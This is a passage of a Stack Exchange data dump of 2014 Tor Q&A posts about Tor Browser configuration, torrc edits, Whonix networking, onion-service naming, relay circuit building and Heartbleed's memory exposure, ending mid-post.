  <row Id="2002" PostTypeId="1" AcceptedAnswerId="2016" CreationDate="2014-04-23T21:55:54.870" Score="6" ViewCount="16982" Body="&lt;p&gt;For very specific reasons, I need to use the Tor in a regular Firefox browser. (I'm trying to &lt;a href=&quot;https://stackoverflow.com/questions/22978074/using-selenium-webdriver-with-tor-browser-bundle&quot;&gt;use Selenium WebDriver and Tor together&lt;/a&gt;, but the Tor Browser doesn't allow the WebDriver add-on, so therefore, I need to use Tor with a regular Firefox browser.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a Windows 7 machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I've tried&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've taken the .xpi file from the Tor Browser Bundle default profile and installed it to Firefox. However, when I run Firefox with it, I get the following screen: &lt;img src=&quot;https://i.stack.imgur.com/aIyKj.png&quot; alt=&quot;Something Went Wrong!&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;I've downloaded the &lt;a href=&quot;https://git.torproject.org/torbutton.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorButton git repository&lt;/a&gt; from the &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;TorButton project page&lt;/a&gt;. However, when I try run &lt;code&gt;makexpi.sh&lt;/code&gt; with Git Bash, it doesn't work because the &lt;code&gt;zip&lt;/code&gt; command isn't defined on Windows machines.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1590" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2016-11-03T01:51:58.663" Title="Using TorButton add-on in Firefox (without Tor Browser Bundle)" Tags="|tor-browser-bundle|firefox|tor-button|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2003" PostTypeId="2" ParentId="1931" CreationDate="2014-04-24T02:21:00.283" Score="1" Body="&lt;p&gt;Connections to hidden services aka .onion sites don't use exit nodes. Both the client (you) and the hidden service site build Tor circuits to what's called a rendezvous node. So traffic between you and .onion sites never leaves the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-04-24T02:21:00.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2006" PostTypeId="1" CreationDate="2014-04-23T04:36:42.463" Score="20" ViewCount="61513" Body="&lt;p&gt;I would like to run multiple Tor Browsers all at once, with each having a unique Tor IP address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to do this with the latest Tor Browser. Please post simple instructions, as I'm new to this and would appreciate help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Tor Browser on Windows.&lt;/p&gt;&#xA;" OwnerDisplayName="user3562958" LastEditorUserId="6904" LastEditDate="2015-03-11T08:08:57.003" LastActivityDate="2019-12-23T07:21:58.963" Title="How to run multiple Tor browsers with different IPs?" Tags="|tor-browser-bundle|windows|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2009" PostTypeId="2" ParentId="1995" CreationDate="2014-04-25T04:48:21.933" Score="2" Body="&lt;p&gt;You can get installation file of vidalia from the following site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://people.torproject.org/~erinn/vidalia-standalone-bundles/&quot; rel=&quot;nofollow&quot;&gt;https://people.torproject.org/~erinn/vidalia-standalone-bundles/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to first run the TBB and then vidalia to see the graph.&lt;/p&gt;&#xA;" OwnerUserId="1384" LastActivityDate="2014-04-25T04:48:21.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2011" PostTypeId="2" ParentId="1991" CreationDate="2014-04-25T10:08:02.793" Score="3" Body="&lt;p&gt;Yes, you need to use a bridge in this case and if they are blocking Tor-traffic in general you also have to use the obfsproxy which is scrambling the Tor traffic so it looks like normal HTTP traffic.&#xA;Checkout &lt;a href=&quot;https://www.torproject.org/projects/obfsproxy.html.en&quot; rel=&quot;nofollow&quot;&gt;obfsproxy site on torproject&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="612" LastEditorUserId="88" LastEditDate="2014-05-04T20:38:43.603" LastActivityDate="2014-05-04T20:38:43.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2012" PostTypeId="1" CreationDate="2014-04-25T16:02:43.680" Score="3" ViewCount="23089" Body="&lt;p&gt;When I open the Tor Browser Bundle I get an error message from Firefox: &quot;Cannot load XPCOM&quot;. How can I start the Tor Browser?&lt;/p&gt;&#xA;" OwnerUserId="1662" LastEditorUserId="88" LastEditDate="2014-04-25T20:21:01.857" LastActivityDate="2018-12-09T06:28:45.500" Title="Error message &quot;Cannot load XPCOM&quot; at the start of Tor Browser" Tags="|tor-browser-bundle|browsers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2013" PostTypeId="1" CreationDate="2014-04-25T16:23:39.903" Score="10" ViewCount="5254" Body="&lt;p&gt;Can .onion sites have subdomains (e.g. subdomain.abcdefghijklmnop.onion/) or do the naming protocols prevent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears to have been suggested in 2012, and the developers (or someone) say they wanted to implement it. But I haven't seen anything else&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="88" LastEditDate="2014-04-25T18:21:56.610" LastActivityDate="2015-01-24T13:22:29.020" Title="Can onion sites have subdomains?" Tags="|onion-services|web-hosting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2014" PostTypeId="2" ParentId="2013" CreationDate="2014-04-25T20:14:05.317" Score="0" Body="&lt;p&gt;At the moment it is not possible to have subdomains. Tor calculates the domain name of the hidden service from different parameters. To have a memorable, secure and global name would contradict &lt;a href=&quot;https://en.wikipedia.org/wiki/Zooko%27s_triangle&quot; rel=&quot;nofollow&quot;&gt;Zooko's triangle&lt;/a&gt; and seems not possible at the moment.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-04-25T20:14:05.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2015" PostTypeId="2" ParentId="2012" CreationDate="2014-04-25T20:25:36.967" Score="2" Body="&lt;p&gt;Answer #1: This error message is discussed as &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10789&quot; rel=&quot;nofollow&quot;&gt;#10789&lt;/a&gt; in Tor's trac. Users who report this message have a Webroot product installed. This software blocks several DLL files. After Webroot was uninstalled Tor Browser worked without any problems on those users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-352-released#comment-47052&quot; rel=&quot;nofollow&quot;&gt;comment&lt;/a&gt; to the &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-352-released&quot; rel=&quot;nofollow&quot;&gt;release notes of TBB 3.5.2&lt;/a&gt; another one notes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you have webroot antivirus, go to ---|--- IDENTITY PROTECTION ---|--- Application Protection ---|--- and allow &lt;code&gt;gkmedias.dll&lt;/code&gt; in &lt;code&gt;C:\users\..\tor browser\browser&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Under Application Protection, allow anything that Webroot has listed that is from your Tor Browser Folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer #2: this same issue came up much more recently, with users running &quot;Windows 10 preview build 14251&quot;. See &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/18171&quot; rel=&quot;nofollow&quot;&gt;Tor ticket 18171&lt;/a&gt; for details. Moving to a newer version of Windows 10 preview will resolve the problem.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="55" LastEditDate="2016-03-09T00:47:41.507" LastActivityDate="2016-03-09T00:47:41.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2016" PostTypeId="2" ParentId="2002" CreationDate="2014-04-25T21:09:22.233" Score="4" Body="&lt;p&gt;This might be a dumb question, but are you actually running tor?  I don't think torbutton itself does this, you need something like &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Hacking#TorLauncher&quot; rel=&quot;nofollow&quot;&gt;Torlauncher&lt;/a&gt; to run tor as a standalon service by itself and then you proxy your browser through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I should add, to simplify things you could run tor using the full tor browser bundle and then just (close the torbrowser and) set your customized firefox's proxy settings to run tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should note that the Torrify HOWTO strongly recommends against this sort of setup for security reasons.  The torbrowser has had a few years of vetting and bugfixes to acheive the kind of security it has today.  If you really need webdriver though, just know in advance that you are likely sacrificing security as a tradeoff for functionality.&lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="24" LastEditDate="2014-04-25T21:20:38.163" LastActivityDate="2014-04-25T21:20:38.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2017" PostTypeId="1" AcceptedAnswerId="2088" CreationDate="2014-04-26T11:40:20.797" Score="3" ViewCount="3993" Body="&lt;p&gt;I have the latest Tor browser bundle installed on OSX 10.8.5. It connects and I see the 'Congratulations!' page but am unable to browse to any sites e.g. startpage.com or run a search - I just see 'connecting' in the tab title . This was working for me last week so am not sure what has changed.&lt;/p&gt;&#xA;" OwnerUserId="1666" LastEditorUserId="923" LastEditDate="2014-04-26T14:55:30.080" LastActivityDate="2014-06-06T07:42:51.663" Title="Tor browser bundle has stopped working (mac)" Tags="|tor-browser-bundle|mac|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2018" PostTypeId="1" CreationDate="2014-04-27T09:39:17.820" Score="1" ViewCount="11558" Body="&lt;p&gt;I have downloaded and installed the Tor bundle for Windows and all is working fine. I would like to configure it so that it restricts my IP address to Australia only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#torrc&quot; rel=&quot;nofollow&quot;&gt;edit my torrc&lt;/a&gt; entry and have located the &lt;code&gt;Data/Tor/torrc&lt;/code&gt; file, but how do I actually edit It? I am an ordinary user - not advanced - so I really have no idea what I'm doing. What program do I open the file in? When I opened it in notepad (you're all probably laughing out loud!), this is how it read:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # This file was generated by Tor; if you edit it, comments will not be&#xA; # preserved&#xA;&#xA; # The old torrc file was renamed to torrc.orig.1 or similar, and Tor&#xA; # will ignore it&#xA;&#xA; DataDirectory C:\Users\maria\Desktop\Tor Browser\Data\Tor&#xA; DirReqStatistics 0&#xA; GeoIPFile C:\Users\maria\Desktop\Tor Browser\Data\Tor\geoip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have spent hours reading everything I can to work out how to edit it on my own, but I unfortunately I don't have the necessary knowledge and experience to understand what I'm reading. I know I have to put &lt;code&gt;{au}&lt;/code&gt; somewhere, but where and how? Could somebody please tell me the &lt;em&gt;exact&lt;/em&gt; steps to take so that I can configure Tor to always make me look like I have an Australian IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll be grateful for any replies.&lt;/p&gt;&#xA;" OwnerUserId="1670" LastEditorUserId="88" LastEditDate="2014-04-27T13:37:16.250" LastActivityDate="2019-09-12T06:47:48.913" Title="Having trouble editing Torrc" Tags="|windows|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2019" PostTypeId="2" ParentId="2018" CreationDate="2014-04-27T13:42:37.373" Score="5" Body="&lt;p&gt;Open Data\Tor\torrc-defaults in Notepad. Now move the cursor at the end of the file and insert a new line (Press &lt;kbd&gt;Enter&lt;/kbd&gt;). Write &lt;code&gt;ExitNodes {au}&lt;/code&gt;, press &lt;kbd&gt;Enter&lt;/kbd&gt; again and probably write also &lt;code&gt;StrictNodes 1&lt;/code&gt; (you choose only nodes from AU and when there are none the Tor connection fails). Next step is to restart Tor and the settings become effective.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="100" LastEditDate="2014-07-24T22:08:03.240" LastActivityDate="2014-07-24T22:08:03.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2020" PostTypeId="2" ParentId="1592" CreationDate="2014-04-27T17:00:00.643" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes it is possible to use the same tor process to serve a Hidden Server and as a client for accessing the Tor network.  Just use the SocksListenAddress you have configured in the config file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm not clear what you're asking.  If you want to use the same private key as the Hidden Service address and the Identity Key for the Relay - this is a bad idea, as now your previously-unknown HS (public) key is now widely known.  If you want to use your HS private key as a signing/decryption key within your application - this is also possible but a bad idea to mix key uses. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="43" LastActivityDate="2014-04-27T17:00:00.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2021" PostTypeId="2" ParentId="1867" CreationDate="2014-04-27T17:02:25.027" Score="2" Body="&lt;p&gt;Tor relays do not maintain open connections to every other relay.  Relays create connections to other relays when asked to by a client, or when they need to connect to retrieve some information (like getting new Consensus documents from a Directory Cache.&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2014-04-27T17:02:25.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2024" PostTypeId="2" ParentId="2006" CreationDate="2014-04-29T07:48:22.850" Score="0" Body="&lt;p&gt;Tor uses default proxy port 8118. Now, you want multiple browsers using the same Tor instance. You have to download Privoxy &lt;a href=&quot;http://www.privoxy.org/&quot; rel=&quot;nofollow&quot;&gt;click here&lt;/a&gt; this is use to enable the Proxy port.&lt;br&gt;&#xA;To chain Privoxy and Tor, both running on the same system, &#xA;change the browser Proxy setting like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ip address : 127.0.0.1 &#xA;port : 8118 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;Now see if proxy port is running &lt;a href=&quot;http://www.privoxy.org/config/&quot; rel=&quot;nofollow&quot;&gt;check here&lt;/a&gt;&#xA;If it is running, you can now make a Tor request using multiple browsers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any issue, let me know..&lt;br&gt;&#xA;Thank's &lt;/p&gt;&#xA;" OwnerUserId="1637" LastEditorUserId="10584" LastEditDate="2016-01-24T12:03:30.180" LastActivityDate="2016-01-24T12:03:30.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2025" PostTypeId="1" CreationDate="2014-04-29T15:36:32.820" Score="1" ViewCount="83" Body="&lt;p&gt;The way I understand Tor is that the &quot;client&quot; (say me) connects to a relay, and that relay is the &lt;em&gt;only&lt;/em&gt; computer they connect to from then on. If that is the case, why can't a hostile relay simply run three copies of Tor modified to connect to each other, and thereby identifying me and what I am connecting to? &lt;/p&gt;&#xA;" OwnerUserId="232" LastEditorUserId="923" LastEditDate="2014-04-29T16:35:10.553" LastActivityDate="2014-04-29T23:15:03.483" Title="Can the relay I connect to expose me?" Tags="|relays|security|attacks|deanonymization|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2026" PostTypeId="2" ParentId="2025" CreationDate="2014-04-29T16:41:32.750" Score="1" Body="&lt;p&gt;Good question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't take this as a definite answer until someone can confirm it, as I am not sure if any of these points are correct, this is all from dodgy memory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that the tor client chooses all three relays it will eventually connect to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor connects to the first relay, and sends a build command to it to build to a specified second relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client encrypts a message to the second relays public key containing a session key for the second relay to communicate back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second relay replies, encrypted with the session key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same then happens with the third relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a modded first relay tried to connect you to another second relay, it would not be able to decrypt the session key, and so wouldn't be able to communicate with the client, so the whole thing would break down.&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2014-04-29T16:41:32.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2027" PostTypeId="2" ParentId="1818" CreationDate="2014-04-29T22:41:40.173" Score="1" Body="&lt;p&gt;In case anyone else runs into this same issue at some point... it turns out my network suddenly began blocking Tor, which is why the channel was being closed immediately during the circuit extension process. &lt;/p&gt;&#xA;" OwnerUserId="941" LastActivityDate="2014-04-29T22:41:40.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2028" PostTypeId="2" ParentId="2025" CreationDate="2014-04-29T23:15:03.483" Score="0" Body="&lt;p&gt;I agree with puser on circuit construction. However, I believe the public keys are obtained from the directory authorities and then placed locally on your device in the $tor_datadir/cached-descriptors file&lt;/p&gt;&#xA;" OwnerUserId="1549" LastActivityDate="2014-04-29T23:15:03.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2029" PostTypeId="2" ParentId="1780" CreationDate="2014-04-30T06:40:00.240" Score="2" Body="&lt;p&gt;You wanted a suggestion for Password Manager for GNU/Linux.&#xA;Try &lt;a href=&quot;https://www.keepassx.org/&quot; rel=&quot;nofollow&quot;&gt;KeepassX&lt;/a&gt;, it's the GNU/Linux port of Keepass that can work without Mono installed.&#xA;It can perform &lt;code&gt;autotype&lt;/code&gt; username and password in your browser, if that's what you mean by &quot;browser integration&quot; without the need for external addon/plugin.&lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2014-04-30T06:40:00.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2030" PostTypeId="2" ParentId="1926" CreationDate="2014-04-30T08:02:09.017" Score="2" Body="&lt;p&gt;If no further information is known, you should expect that an attacker can read all your memory. See the &lt;a href=&quot;http://blog.cloudflare.com/the-results-of-the-cloudflare-challenge&quot; rel=&quot;nofollow&quot;&gt;heartbleed challenge from Cloudflare&lt;/a&gt; as an example. They set up a webserver with a vulnerable version of OpenSSL. Some hours later several persons extracted the key. Fedor Indutny &lt;a href=&quot;https://blog.indutny.com/9.heartbleed&quot; rel=&quot;nofollow&quot;&gt;described his work&lt;/a&gt;. From his description you can see that he could read random parts of the servers memory. So you should assume that an attacker can read all your memory when you use a vulnerable OpenSSL version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore the &lt;a href=&quot;http://heartbleed.com/&quot; rel=&quot;nofollow&quot;&gt;heartbleed page&lt;/a&gt; which was set up by one of the people who found the vulnerability writes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Without using any privileged information or credentials we were able steal from ourselves the secret keys used for our X.509 certificates, user names and passwords, instant messages, emails and business critical documents and communication.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When OpenSSL allocates memory it takes an area which is not in use by other processes. You can find old data in there and read this out. However the process isolation takes care that a process can't read data from other processes.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-05-02T13:09:31.517" LastActivityDate="2014-05-02T13:09:31.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2031" PostTypeId="1" AcceptedAnswerId="2032" CreationDate="2014-04-30T14:19:23.887" Score="4" ViewCount="1414" Body="&lt;p&gt;My desktop is running windows 7 home premium x64 (host).  I have the latest version of Virtualbox and have setup the latest version of Whonix gateway 8.1 which is up-to-date.  I want to use Whonix gateway as a means of setting up a isolation proxying with the host accessing the internet via the Whonix gateway VM (gateway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The generic instructions on the Whonix site &lt;a href=&quot;https://www.whonix.org/wiki/Other_Operating_Systems&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Other_Operating_Systems&lt;/a&gt;.  I have followed the instructions but neither the gateway nor the host are able to connect to the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that it would make more sense to use VirtualBox bridge interface, than the internal interface.  Research indicated that the host would not be able to this network.  Practically if this is enabled the gateway is not able to access the network.  This would make sense as it is trying to access the network via windows which is trying to access via VirtualBox.  I've found that if I set one of the networks to bridged then the gateway is able to connect.  I have not been successful in getting the host to connect through the gateway.  I've setup static IP addresses for both the host and the 2 whonix bridges.  Windows either complains that it cannot access the DNS server or that I should enable DHCP, which would bipass whonix and defeat the point of installing it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any advice about how I can proceed with this setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2014-05-01T04:43:46.870" Title="Can somebody please advise me about setting up isolatation proxying using Win 7 home premium / virtualbox / whonix?" Tags="|whonix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2032" PostTypeId="2" ParentId="2031" CreationDate="2014-04-30T15:15:43.637" Score="1" Body="&lt;p&gt;Whonix-Gateway does not and did never support to route any host operating system through Whonix-Gateway. That would be difficult, I think, because then Tor inside Whonix-Gateway would somehow to have an exception to be allowed to directly connect to the internet without being forced through Tor. Even more difficult with Windows, because in my experience, there is better documentation for advanced stuff using iptables than there is for Windows firewall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was something vaguely related long time ago. It was possible to install Tor on the host and to run just one VM. It was called &lt;a href=&quot;https://www.whonix.org/wiki/OneVM&quot; rel=&quot;nofollow&quot;&gt;OneVM&lt;/a&gt;. Deprecated for a long time. I guess what you want to do would be similarly difficult. Most likely you would have to wrestle with Windows firewall rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could work and what would be simple in comparison would be using &lt;a href=&quot;https://www.whonix.org/wiki/Dev/Build_Documentation/Physical_Isolation&quot; rel=&quot;nofollow&quot;&gt;Whonix with Physical Isolation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another software maybe capable of this (never tested) might be &lt;a href=&quot;http://reqrypt.org/torwall.html&quot; rel=&quot;nofollow&quot;&gt;TorWall&lt;/a&gt;. There also was another software doing something similar like TorWall, but I forgot its name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow. What you are attempting to do is recommended against. Due to protocol leaks you wouldn't be anonymous at all when you just route your every day operating system that you used for non-anonymous stuff beforehand through Tor. See &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxyLeaks&quot; rel=&quot;nofollow&quot;&gt;TransparentProxyLeaks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure: &lt;br /&gt;&#xA;I am a maintainer of Whonix.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-04-30T15:15:43.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2033" PostTypeId="2" ParentId="2031" CreationDate="2014-05-01T04:43:46.870" Score="1" Body="&lt;p&gt;I don't recommend that OP do this. With just one VM, it's best to put the workspace there. That's because it's the workspace that will most likely get pwned, and you want that to be isolated from the Tor client. Also, doing any of this with Windows or OS X as the host OS is rather weak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If OP still wants to do this, it's possible. One would bridge eth0 (WAN) of the Whonix gateway to the host's physical NIC, and attach the gateway's eth1 (LAN) to a host-only adapter, and so to a Microsoft loopback interface on the host. Then one would set up firewall rules in the host that allow only VirtualBox to use the host's physical NIC, and restrict everything else to the loopback interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know enough Windows for that. Perhaps another can help with the details.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-05-01T04:43:46.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2034" PostTypeId="2" ParentId="1629" CreationDate="2014-05-01T09:54:05.543" Score="1" Body="&lt;p&gt;Tor does a variety of things to make sure that the source code is safe. First of all Tor is Free Software. That means anyone can review the &lt;a href=&quot;https://gitweb.torproject.org/tor.git&quot; rel=&quot;nofollow&quot;&gt;code&lt;/a&gt; and contribute to it. While anyone can contribute it doesn't mean that anyones contribution find their way into the code. All contributions are &lt;a href=&quot;https://trac.torproject.org/projects/tor/query?status=needs_review&amp;amp;component=Tor&amp;amp;col=id&amp;amp;col=summary&amp;amp;col=status&amp;amp;col=owner&amp;amp;col=type&amp;amp;col=priority&amp;amp;col=milestone&amp;amp;order=priority&quot; rel=&quot;nofollow&quot;&gt;reviewed&lt;/a&gt; (link goes to all &lt;a href=&quot;https://trac.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;trac&lt;/a&gt; tickets which need review), the contributor gets feedback and only when the reviewer thinks it is worthwhile the code is added. Furthermore the Tor Project uses &lt;a href=&quot;https://scan.coverity.com/projects/234&quot; rel=&quot;nofollow&quot;&gt;Coverity scan&lt;/a&gt;. This project scans the source code and warns if it finds bugs or mistakes in the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone don't trust the binary there are &lt;a href=&quot;https://blog.torproject.org/blog/deterministic-builds-part-one-cyberwar-and-global-compromise&quot; rel=&quot;nofollow&quot;&gt;deterministic builds&lt;/a&gt;. This way one can check out the code, build it for themselves and check if their build has the same hash value than the official Tor binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more things like software tests, university projects which also deal with the security of Tor's source code. So all in all Tor tries all possible to have a secure source code.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-05-01T09:54:05.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2035" PostTypeId="1" AcceptedAnswerId="2047" CreationDate="2014-05-01T11:43:51.830" Score="2" ViewCount="163" Body="&lt;p&gt;I keep a terminal window open with &lt;code&gt;nettop&lt;/code&gt; running in it. Yesterday I upgraded to TorBrowser 3.6 and today I just noticed in &lt;code&gt;nettop&lt;/code&gt; that an instace of Python runs along side TorBrowser with active sockects (not sure if that the correct term) to the Tor netowrk.&lt;/p&gt;&#xA;&lt;p&gt;The previous version didn't have Python appear in &lt;code&gt;nettop&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I am also helping to trouble shoot an open source DNS app. I have run a couple of commands in the Terminal and I'm not 100% sure if they didn't cause the instance of Python to appear.&lt;/p&gt;&#xA;&lt;p&gt;Can an OS X user confirm if &lt;code&gt;nettop&lt;/code&gt; also displays python while they run TorBrowser. Thaks&lt;/p&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;br&gt;&#xA;I did some testing and it seems to be related to the new obfs3 bridges feature in v3.6 of TorBrowser.&lt;/p&gt;&#xA;&lt;p&gt;When &lt;code&gt;My Internet Service Provider (ISP) blocks connections to the Tor network&lt;/code&gt; is selected in Tor Network Settings (&lt;code&gt;Connect with provided bridges obfs3&lt;/code&gt; was left as default) the Python instance appears in &lt;code&gt;nettop&lt;/code&gt;.&#xA;If that option is deselected then no Python.&lt;/p&gt;&#xA;&lt;p&gt;That would explain why it wasn't there in the previous ver - the obfs3 bridge feature is new to 3.6.&lt;/p&gt;&#xA;&lt;p&gt;I'm 99% satisfied that its kosher but if any one would like to confirm it that would be great.&lt;/p&gt;&#xA;" OwnerUserId="1691" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-05-04T02:38:27.137" Title="Should TorBrowser 3.6 (aka Tor Browser Bundle) on OS X open an instance of Python?" Tags="|tor-browser-bundle|mac|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2036" PostTypeId="1" CreationDate="2014-05-01T16:38:49.993" Score="1" ViewCount="179" Body="&lt;p&gt;With earlier versions I could put proxy in network options, now when I put https proxy there, write address and port, and choose proxy type &quot;http/https&quot;, Tor doesn't accept it, it says error, somethin about &quot;can't have two types&quot; or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why's that now?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="88" LastEditDate="2014-05-02T07:28:11.717" LastActivityDate="2014-05-02T07:28:11.717" Title="TOR 3.6, can't put http/https proxy in settings" Tags="|tor-browser-bundle|configuration|network-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2037" PostTypeId="1" CreationDate="2014-05-01T18:58:09.893" Score="3" ViewCount="4233" Body="&lt;p&gt;After upgrading, and throwing away all old Tor or Firefox/Mozilla files I can possibly find (including using the terminal command to show hidden files) every time I attempt to run the Tor Browser Bundle v3.6 it says a copy of firefox is already running. As I said, I have thrown away all of the associated files I can find. When running &lt;code&gt;ps -ax | grep firefox&lt;/code&gt; it comes up with no open processes. If anyone knows the name of the process that's hanging me up, I could kill it right here. I just can't risk mucking about in the 30-odd processes I see without knowing what I´m doing. Please Help! &#xA;p.s I have an extra machine for the moment, I can't run either on normal internet, because of my situation, I can only access the internet through Tor. In a foreign country, English first language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diatribe: You may have noticed that most of us mac users suffer from multiple problems when asking for advice.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I'm not on windows, don't answer if you don't 